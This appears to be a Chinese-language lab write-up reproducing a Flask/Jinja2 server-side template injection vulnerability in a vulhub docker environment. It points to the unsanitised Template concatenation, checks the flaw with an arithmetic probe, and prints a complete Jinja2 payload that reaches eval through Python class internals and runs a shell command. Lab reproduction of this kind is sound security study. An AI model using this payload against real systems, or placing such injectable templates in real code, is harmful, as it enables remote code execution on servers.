flask/ssti漏洞复现
简介
flask/ssti漏洞,完整叫法应该是: Flask(Jinja2) 服务端模板注入漏洞(SSTI)。Flask 是一个使用 Python 编写的轻量级 Web 应用框架,Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。Jinja 2是一种面向Python的现代和设计友好的模板语言。
1、cd进flask/ssti目录,docker-compose up -d开启ssti环境
2、访问目标环境

3、查看网页的app.py源码

重点在于t = Template("Hello" + name)这一行,name可以通过get方法获得且没有任何过滤,个人认为和SQL注入很像
4、页面返回54289,证明存在ssti漏洞(计算233*233表名将name值当做命令来执行)

5、使用vulhub官网的POC
1 {% for c in [].__class__.__base__.__subclasses__() %} 2 {% if c.__name__ == 'catch_warnings' %} 3 {% for b in c.__init__.__globals__.values() %} 4 {% if b.__class__ == {}.__class__ %} 5 {% if 'eval' in b.keys() %} 6 {{ b['eval']('__import__("os").popen("id").read()') }} 7 {% endif %} 8 {% endif %} 9 {% endfor %} 10 {% endif %} 11 {% endfor %}
GID为GroupId,即组ID,用来标识用户组的唯一标识符
UID为UserId,即用户ID,用来标识每个用户的唯一标示符
https://www.jianshu.com/p/a1d6ae580add

浙公网安备 33010602011771号